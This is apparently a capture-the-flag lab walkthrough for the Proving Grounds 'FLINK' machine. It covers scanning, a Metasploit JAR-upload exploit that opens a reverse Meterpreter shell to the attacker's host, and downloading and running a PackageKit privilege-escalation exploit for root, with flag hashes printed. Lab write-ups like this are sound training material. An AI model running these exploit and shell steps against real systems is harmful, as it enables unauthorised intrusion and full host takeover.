Summary #
On port 8081 there is an Apache Flink 2.0.0 web application running. Running the MetaSploit Apache Flink JAR Upload Java Code Execution module gives us initial access. LinPEAS shows the target is vulnerable for Pack2TheRoot (CVE-2026-41651) which escalates our privileges to the root user.
Specifications #
- Name: FLINK
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux flink 6.8.0-48-generic #48-Ubuntu SMP PREEMPT_DYNAMIC Fri Sep 27 14:04:52 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.220.173
- OFFSEC provided credentials: None
- HASH:
local.txt:98903e38931d398299ca5eb6b552491c - HASH:
proof.txt:d19f982c98b3e796cd383113d62a08e2
Preparation #
First we’ll create a directory structure for our files and set the IP address to a bash variable and ping the target:
mkdir flink && cd flink && mkdir enum files exploits uploads tools
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 1 19:07 .
drwxrwxr-x 113 kali kali 4096 Sep 1 19:07 ..
drwxrwxr-x 2 kali kali 4096 Sep 1 19:07 enum
drwxrwxr-x 2 kali kali 4096 Sep 1 19:07 exploits
drwxrwxr-x 2 kali kali 4096 Sep 1 19:07 files
drwxrwxr-x 2 kali kali 4096 Sep 1 19:07 tools
drwxrwxr-x 2 kali kali 4096 Sep 1 19:07 uploads
ip=192.168.220.173
ping $ip
PING 192.168.220.173 (192.168.220.173) 56(84) bytes of data.
64 bytes from 192.168.220.173: icmp_seq=1 ttl=61 time=20.3 ms
^C
--- 192.168.220.173 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 20.311/20.311/20.311/0.000 ms
Reconnaissance #
Portscanning #
Using the rustscan tool we can see what TCP ports are open.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
I scanned ports so fast, even my computer was surprised.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.220.173:22
Open 192.168.220.173:8081
[~] Starting Script(s)
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-01 19:23 +0200
Happy 29th Birthday to Nmap, may it live to be 129!
Initiating Ping Scan at 19:23
Scanning 192.168.220.173 [4 ports]
Completed Ping Scan at 19:23, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:23
Completed Parallel DNS resolution of 1 host. at 19:23, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:23
Scanning 192.168.220.173 [2 ports]
Discovered open port 8081/tcp on 192.168.220.173
Discovered open port 22/tcp on 192.168.220.173
Completed SYN Stealth Scan at 19:23, 0.04s elapsed (2 total ports)
Nmap scan report for 192.168.220.173
Host is up, received reset ttl 61 (0.019s latency).
Scanned at 2026-09-01 19:23:16 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
8081/tcp open blackice-icecap syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.70 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (128B)
Copy the output of open ports into a file called ports within the files directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
8081/tcp open blackice-icecap syn-ack ttl 61
Run the following command to get a string of all open ports and add in with a NMAP command to portscan found open ports:
sudo nmap -T3 -p $(awk -F'/' '{print $1}' files/ports | paste -sd, -) -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGT2bbuknyDQCZL8wcewIxfJHCT3ZA9MHovHm5vV8gnY+WaklYD1KkExYX16RT7Du6kDkOd7/VtgT8wyumO7X74=
| 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9T+RtTpSheh2mjfbGIXvNadPVCLuheP1AqmUPx6yic
8081/tcp open blackice-icecap? syn-ack ttl 61
|_mcafee-epo-agent: ePO Agent not found
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| content-type: application/json; charset=UTF-8
| content-length: 74
| {"errors":["Unable to load requested file /nice ports,/Trinity.txt.bak."]}
| GetRequest:
| HTTP/1.1 200 OK
| content-type: text/html
| date: Tue, 01 Sep 2026 17:34:26 GMT
| expires: Tue, 01 Sep 2026 17:39:26 GMT
| cache-control: private, max-age=300
| last-modified: Tue, 01 Sep 2026 17:34:26 GMT
| content-length: 2864
| <!--
| Licensed to the Apache Software Foundation (ASF) under one
| more contributor license agreements. See the NOTICE file
| distributed with this work for additional information
| regarding copyright ownership. The ASF licenses this file
| under the Apache License, Version 2.0 (the
| "License"); you may not use this file except in compliance
| with the License. You may obtain a copy of the License at
| http://www.apache.org/licenses/LICENSE-2.0
| Unless required by applicable law or agreed to in writing, software
| distributed under the License is distributed on an "AS IS" BASIS,
| WITHOUT WARRANTIES OR CONDITIONS OF
| SIPOptions:
| HTTP/1.1 404 Not Found
| content-type: application/json; charset=UTF-8
| access-control-allow-origin: *
| connection: keep-alive
| content-length: 32
| {"errors":["Not found: sip:nm"]}
| WWWOFFLEctrlstat:
| HTTP/1.1 404 Not Found
| content-type: application/json; charset=UTF-8
| content-length: 58
|_ {"errors":["Unable to load requested file /bad-request."]}
Initial Access #
On port 8081 there is a web application called Apache Flink 2.0.0.
Looking around for known exploits, we can find there is an Apache Flink JAR Upload Java Code Execution MetaSploit module to get initial access: https://www.rapid7.com/db/modules/exploit/multi/http/apache_flink_jar_upload_exec/. So, let’s first start msfconsole, search within msfconsole for this module and set the options. Next, run the exploit and get initial access.
## start msfconsole
msfconsole
Metasploit tip: View a module's description using info, or the enhanced
version in your browser with info -d
.,,. .
.\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
.a#$$$$$$"` 88b d8P 88b`?8888P'
,s$$$$$$$"` 888888P' 88n _.,,,ass;:
.a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________ ,&$$$$$$'_____
ll&&$$$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .
=[ metasploit v6.5.0-dev ]
+ -- --=[ 2,672 exploits - 1,343 auxiliary - 2,598 payloads ]
+ -- --=[ 435 post - 57 encoders - 14 nops - 12 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
msf >
## search for the flink module
msf > search flink
Matching Modules
================
# Full Name Disclosure Date Rank Check Name
- --------- --------------- ---- ----- ----
0 exploit/multi/http/apache_flink_jar_upload_exec 2019-11-13 excellent Yes Apache Flink JAR Upload Java Code Execution
1 auxiliary/scanner/http/apache_flink_jobmanager_traversal 2021-01-05 normal Yes Apache Flink JobManager Traversal
2 auxiliary/admin/networking/cisco_secure_acs_bypass . normal No Cisco Secure ACS Unauthorized Password Change
## set the options
msf exploit(multi/http/apache_flink_jar_upload_exec) > set lhost 192.168.45.190
lhost => 192.168.45.190
msf exploit(multi/http/apache_flink_jar_upload_exec) > set rhost 192.168.220.173
rhost => 192.168.220.173
msf exploit(multi/http/apache_flink_jar_upload_exec) > set rport 8081
rport => 8081
## run exploit
msf exploit(multi/http/apache_flink_jar_upload_exec) > run
[*] Started reverse TCP handler on 192.168.45.190:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Apache Flink version 2.0.0.
[*] Uploading JAR payload 'goxvtANL.jar' (5264 bytes) ...
[*] Retrieving list of avialable JAR files ...
[+] Found uploaded JAR file '5ea51159-c1e3-4f27-be99-2a8f72678b3f_goxvtANL.jar'
[*] Executing JAR payload '5ea51159-c1e3-4f27-be99-2a8f72678b3f_goxvtANL.jar' entry class 'metasploit.Payload' ...
[*] Sending stage (63222 bytes) to 192.168.220.173
[*] Meterpreter session 1 opened (192.168.45.190:4444 -> 192.168.220.173:40738) at 2026-09-01 19:51:21 +0200
[*] Removing JAR file '5ea51159-c1e3-4f27-be99-2a8f72678b3f_goxvtANL.jar' ...
meterpreter > shell
Process 1 created.
Channel 1 created.
## run whoami
whoami
david
## print local.txt
cat /home/david/local.txt
98903e38931d398299ca5eb6b552491c
Privilege Escalation #
Now, upload linpeas.sh to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.190
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## download `linpeas.sh`
wget http://192.168.45.190/linpeas.sh
--2026-09-01 17:58:07-- http://192.168.45.190/linpeas.sh
Connecting to 192.168.45.190:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1144032 (1.1M) [text/x-sh]
Saving to: ‘linpeas.sh’
0K .......... .......... .......... .......... .......... 4% 1.20M 1s
50K .......... .......... .......... .......... .......... 8% 3.99M 1s
100K .......... .......... .......... .......... .......... 13% 6.37M 0s
150K .......... .......... .......... .......... .......... 17% 16.4M 0s
200K .......... .......... .......... .......... .......... 22% 2.89M 0s
250K .......... .......... .......... .......... .......... 26% 93.1T 0s
300K .......... .......... .......... .......... .......... 31% 33.5M 0s
350K .......... .......... .......... .......... .......... 35% 19.8M 0s
400K .......... .......... .......... .......... .......... 40% 9.99M 0s
450K .......... .......... .......... .......... .......... 44% 6.45M 0s
500K .......... .......... .......... .......... .......... 49% 32.8M 0s
550K .......... .......... .......... .......... .......... 53% 30.6M 0s
600K .......... .......... .......... .......... .......... 58% 30.2M 0s
650K .......... .......... .......... .......... .......... 62% 43.7M 0s
700K .......... .......... .......... .......... .......... 67% 22.3M 0s
750K .......... .......... .......... .......... .......... 71% 74.9M 0s
800K .......... .......... .......... .......... .......... 76% 32.9M 0s
850K .......... .......... .......... .......... .......... 80% 29.2M 0s
900K .......... .......... .......... .......... .......... 85% 22.6M 0s
950K .......... .......... .......... .......... .......... 89% 10.4M 0s
1000K .......... .......... .......... .......... .......... 93% 21.8M 0s
1050K .......... .......... .......... .......... .......... 98% 23.0M 0s
1100K .......... ....... 100% 15.0M=0.1s
2026-09-01 17:58:07 (9.01 MB/s) - ‘linpeas.sh’ saved [1144032/1144032]
## set the execution bit
chmod +x linpeas.sh
## run `linpeas.sh`
./linpeas.sh
The linpeas.sh output shows the target is vulnerable for Pack2TheRoot (CVE-2026-41651) . Now, let’s download the exploit, upload to the target and run it to escalate our privileges to root.
## locally, clone the repo and run a webserver
cd uploads
git clone https://github.com/0xBlackash/CVE-2026-41651.git
cd CVE-2026-41651
python3 -m http.server 80
## remote, download exploit
wget http://192.168.45.190/CVE-2026-41651.py
--2026-09-01 18:05:31-- http://192.168.45.190/CVE-2026-41651.py
Connecting to 192.168.45.190:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12647 (12K) [text/x-python]
Saving to: ‘CVE-2026-41651.py’
0K .......... .. 100% 723K=0.02s
2026-09-01 18:05:31 (723 KB/s) - ‘CVE-2026-41651.py’ saved [12647/12647]
## change permissions and run the exploit
chmod +x CVE-2026-41651.py
## run exploit Pack2TheRoot
./CVE-2026-41651.py
============================================================
CVE-2026-41651 — Pack2TheRoot => PackageKit TOCTOU Privilege Escalation
github : https://github.com/0xBlackash/CVE-2026-41651/
Author : Ashraf Zaryouh / @0xBlackash
============================================================
[+] SUID drop directory: /var/tmp (no nosuid/noexec)
[+] Package format: DEB
[*] Building test packages...
[+] Dummy pkg: /tmp/pk-dummy-48210.deb
[+] Payload pkg: /tmp/pk-payload-48210.deb
[+] Payload installs SUID bash to: /var/tmp/.suid_bash
[*] Connecting to system D-Bus...
[*] Creating PackageKit transaction...
[+] Transaction ID: /2_bbdcabbe
[*] Firing TOCTOU race (SIMULATE → REAL on same transaction)...
[*] Polling for SUID at /var/tmp/.suid_bash (90s max)...
.
## run whoami
whoami
root
## print proof.txt
cat /root/proof.txt
d19f982c98b3e796cd383113d62a08e2
References #
[+] https://www.rapid7.com/db/modules/exploit/multi/http/apache_flink_jar_upload_exec/